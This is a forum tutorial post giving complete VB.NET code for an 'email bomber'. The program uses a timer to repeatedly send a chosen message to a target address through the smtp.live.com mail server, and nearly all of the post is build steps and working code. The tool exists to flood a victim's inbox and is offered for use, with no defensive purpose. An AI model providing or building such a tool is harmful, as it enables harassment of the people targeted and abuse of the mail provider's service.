[TUT]EmailBomber Application

People made some, no one explained how to was done
most likley because they copy and pasted there code.
hence they all required gmail accounts.

Anyway

Firstly create a new form with

4 x Textboxes
Named
- EmailBox
- SubjBox
- UserBox
- PassBox
1 x RichTextBox
Named
-MsgBox
1 x Timer
Named
- Timer1
3 Buttons
Named / Lable
- SendBtn / Send
- StopBtn / Stop
- ExitBtn / Exit

-------------------------------------------------------

Now double click the form to bring up the source code, insert this
code line at the verry top

Code:

Imports System.Net.Mail

-------------------------------------------------------

We will now sort the buttons, Starting with SendBtn
Double click the button and add the following code....

Code:

Timer1.Start()

Next we move onto the Stop button...

Code:

Timer1.Stop()

The final button Exit

Code:

End

----------------------------------------------------------

Now lets move onto the timer

Instert the following code after double clicking the timer.

Code:

        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(UserBox.Text)
        MyMailMessage.To.Add(EmailBox.Text)
        MyMailMessage.Subject = (SubjBox.Text)
        MyMailMessage.Body = MsgBox.Text
        Dim SMTPServer As New SmtpClient("smtp.live.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(UserBox.Text, PassBox.Text)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)

===============================================

Done, and now to explain that final code block

Dim MyMailMessage As New MailMessage()
//Gives MyMailMessage the meaning of New MailMessage()

MyMailMessage.From = New MailAddress(UserBox.Text)
//Sets the from email address of our new email to a New MailAddress, based on the content of UserBox.Text

MyMailMessage.To.Add(EmailBox.Text)
// This adds another email address to the send like, based again on the text in the email box

MyMailMessage.Subject = (SubjBox.Text)
// Sets the email subject to the value of SubjBox

MyMailMessage.Body = MsgBox.Text
// Sets the body of the email from what was entered into our rich textbox
"MsgBox"

Dim SMTPServer As New SmtpClient("smtp.live.com")
// Set SMTPServer as a new smtpclient, which is smtp.live.com ( this is the mail server for msn)

SMTPServer.Port = 587
// Set our servers port

SMTPServer.Credentials = New System.Net.NetworkCredential(UserBox.Text, PassBox.Text)
//Get the user information required to send an email from the server

SMTPServer.EnableSsl = True
//EnableSsl ¬_¬

SMTPServer.Send(MyMailMessage)
// And Finally send out email

=============================================

Now im sorry for any spelling mistakes but i wrote this on the spot
in about 5mins.

[TUT]EmailBomber Application

Post a Reply

Similar Threads

Tags for this Thread